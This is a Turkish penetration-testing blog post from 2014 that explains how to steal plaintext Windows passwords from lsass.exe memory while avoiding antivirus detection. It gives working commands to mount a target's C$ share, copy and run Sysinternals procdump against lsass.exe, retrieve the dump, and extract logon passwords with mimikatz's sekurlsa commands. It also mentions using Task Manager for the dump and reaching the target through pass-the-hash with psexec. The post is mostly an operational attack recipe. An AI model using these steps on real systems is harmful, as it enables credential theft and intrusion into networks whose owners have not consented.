25 Ocak 2014

Windows sistemlerde interaktif servislerden herhangi birine login olmuş (Rdesktop, SMB yada Oturum Açma vs.) kullanıcıların şifreleri, hafızada açık olarak saklandığı artık herkes tarafından biliniyor.

Sistem kullanıcısı yetkileri ele geçirildiği zaman, oturum açmış kullanıcı ve şifre bilgilerine ulaşmak için  lsass.exe ( Local Security Authority Subsystem Service ) adlı sürecin hafızada yüklü bulunduğu adrese gidilerek, buradan bu önemli bilgilerin ayıklanması yöntemi kullanılmaktadır. Bunu yapan WCEMimikatz gibi araçlar bulunmaktadır. Yanlız bu gibi araçların ortak sıkıntısı antivirüs gibi güvenlik yazılımları tarafından tanınıyor olmaları ve hedef sisteme yüklenmesi yada çalıştırılması yüksek ihtimalle engelleniyor olmasıdır. Bu gibi durumlarda uygulanabilecek başarılı bir yöntem ise Microsoft tarafından onaylı ve dolaylı olarak hiçbir antivirüs yada güvenlik ürününe takılmayacak bir araç (hatta 2) ile bu işi kotarabilirsiniz. Örneğin geçerli bir yerel yönetici haklarına sahip kullanıcı hash'i ele geçirdiğinizi ve "psexec" yada "smbexec" ile daha önceki yazımda olduğu gibi hedef sisteme ulaştığınızı senaryo olarak ele alalım.  

Bu durumda eğer hedef sisteme meterpreter gibi yetenekli bir ajan bulaştıramıyorsanız yapabilecekleriniz kısıtlı kalıyor sanabilirsiniz. Ama Microsoft araçlarını kullanarak çok da başarılı şekilde kullanıcı ve şifre bilgilerini açık olarak ele geçirebilirsiniz. Bunun için "procdump" biçilmiş kaftan sizin için. Bu araç ile istediğiniz sürecin hafızadaki görüntüsünü alarak çevrim dışı olarak inceleme yapabiliyorsunuz ve en güzel tarafı ise hiçbir antivirüs tarafından zararlı olarak görülmüyor.
Bu "sysinternals" aracı sayesinde, uzaktan komut satırını ele geçirdiğiniz hedef sistemde "lsass.exe" sürecinin hafıza görüntüsünü alarak, kendi sisteminize aktarabilir, daha sonrada "mimikatz alpha" ile kullanıcı ve şifre bilgilerini bu görüntü içerisinden ayıklayabilirsiniz.

Şimdi biraz uygulama kısmını görelim:

Önce karşı sistemin yönetici paylaşımları kullanarak "C$" kök dizinini bağlayalım.
net use \\HedefSistem\C$ 
Daha sonra sisteme "procdump.exe" dosyasını kopyalayarak karşı sistemde çalıştıralım.
copy procdump.exe \\HedefSistem\C$
dir \\HedefSistem\C$ 
procdump.exe -accepteula -ma lsass.exe lsass.dump
Ve oluşan görüntü çıktısını kendi sistemimize kopyalayarak mimikatz alpha sürümü ile "minidump" modunu kullanarak açık şifreleri görüntü içerisinden ayıklayalım.
copy \\HedefSistem\C$\lsass.dump \
mimikatz# sekurlsa::minidump lsass.dump 
Switch to MINIDUMP 
mimikatz # sekurlsa::logonPasswords full

Bundan sonra ise size düşen altınları toplaması oluyor. Bunun haricinde eğer sisteme fiziksel erişiminiz varsa yada Remote Desktop ile erişim yapabiliyorsanız, Windows 7 ve sonrası işletim sistemleri için lsass.exe sürecinin görüntüsünü almak için kullanabileceğiniz Görev Yöneticisi'de işinizi görecektir.


Daha sonrası ise mimikatz ile yaptığımız sürecin aynısı olarak devam ediyor. 


Burda dikkat edilmesi gereken husus hedef sistemde hangi mimari kullanılıyorsa (x86, x64) ona göre süreç görüntüsü alınmalı ve o mimariye ait mimikatz sürümü kullanılması gerekiyor.
Makalelerin kötüye kullanım kullanıcının sorumluluğundadır. | networkpentest.net. Blogger tarafından desteklenmektedir.